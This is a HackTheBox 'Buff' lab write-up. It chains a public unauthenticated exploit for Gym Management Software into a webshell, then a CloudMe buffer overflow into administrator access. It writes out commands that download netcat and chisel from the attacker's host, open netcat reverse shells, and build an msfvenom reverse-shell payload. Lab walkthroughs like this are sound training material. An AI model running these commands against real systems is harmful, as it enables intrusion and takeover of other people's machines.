chu@antisec:~/htb$ cat buff.md

Let's start by running an Nmap scan looking for active ports and services:

Accessing the Web service, we can find the version of the CMS used on the site:

http://10.10.10.198:8080/contact.php

Gym Management Software 1.0

After finding the CMS version, we can search for vulnerabilities already known for it.

On the Exploit-DB site we find some exploits and one of them looks very interesting;

The exploit can execute commands remotely and without authentication!

Well, let's test it!

We can see the exploit worked and uploaded a webshell. XD

Our webshell got dropped at:

http://10.10.10.198:8080/upload/kamehameha.php

If we want to use the browser to run commands, we use the 'telepathy' parameter to pass our commands: Ex:

http://10.10.10.198:8080/upload/kamehameha.php?telepathy=whoami

Let's use the shell in our own terminal. Once we can execute commands, let's try to get the reverse connection going. We'll bring up a python server on our machine to send netcat over to our target:

python -m SimpleHTTPServer 80

Let's try to throw netcat onto the target machine, through our initial shell.

Let's use PowerShell for that

powershell Invoke-WebRequest -Uri 'http://10.10.14.146/nc.exe'-OutFile 'C:\xampp\htdocs\gym\upload\nc.exe'

After the upload, let's connect back to our machine using netcat.

.\nc.exe 10.10.14.146 433 -e powershell.exe

On our machine, we open port 443 for netcat to connect to:

nc -vnlp 443

Once we get initial access and enumerate what's running on the machine, we can find a piece of software called CloudMe 1.11.2

Let's do what we did with the other software, let's search for known vulnerabilities:

Digging deeper into this software, it's possible to find an exploit that uses a Buffer Overflow in version 1.11.2 for privilege escalation.

Analyzing CloudMe, we can see it's running locally only... Our target doesn't have python, so we can't run the exploit... Let's try a portforward to run the exploit. The first time I did this box, I used plink.exe, but when I redid it to take the screenshots, I tried for hours and it wouldn't work...

For that, let's try using chisel.exe:

Let's send it over to the machine:

powershell Invoke-WebRequest -Uri 'http://10.10.14.145/windao.exe'-OutFile 'C:\xampp\htdocs\gym\upload\windao.exe'

Saved it with that name to keep other people from using the same file(RIP vip)

Let's edit the exploit payload so it connects back to our machine: Using msfvenom we create a payload:

msfvenom -p windows/exec CMD='c:\xampp\htdocs\gym\upload\nc.exe 10.10.14.145 4444 -e cmd.exe' -b '\x00\x0A\x0D' -f python -v payload

After that we insert it into our exploit(48389.py).

Running Chisel as the server:

./chisel server --reverse --port 10001

Using Chisel as the client:

.\chisel.exe client 10.10.14.145:10001 R:3306:localhost:3306 R:8888:localhost:8888

Once the Chisel connection is done, we can run the already-edited exploit with our payload, which makes a connection on port 4444, so we open the port with netcat and wait for the connection. Note: I had to run the exploit more than once to receive the connection.

nc -vvnlp 4444

now we're admin/root XD

if i helped you, add + respect at my profile :D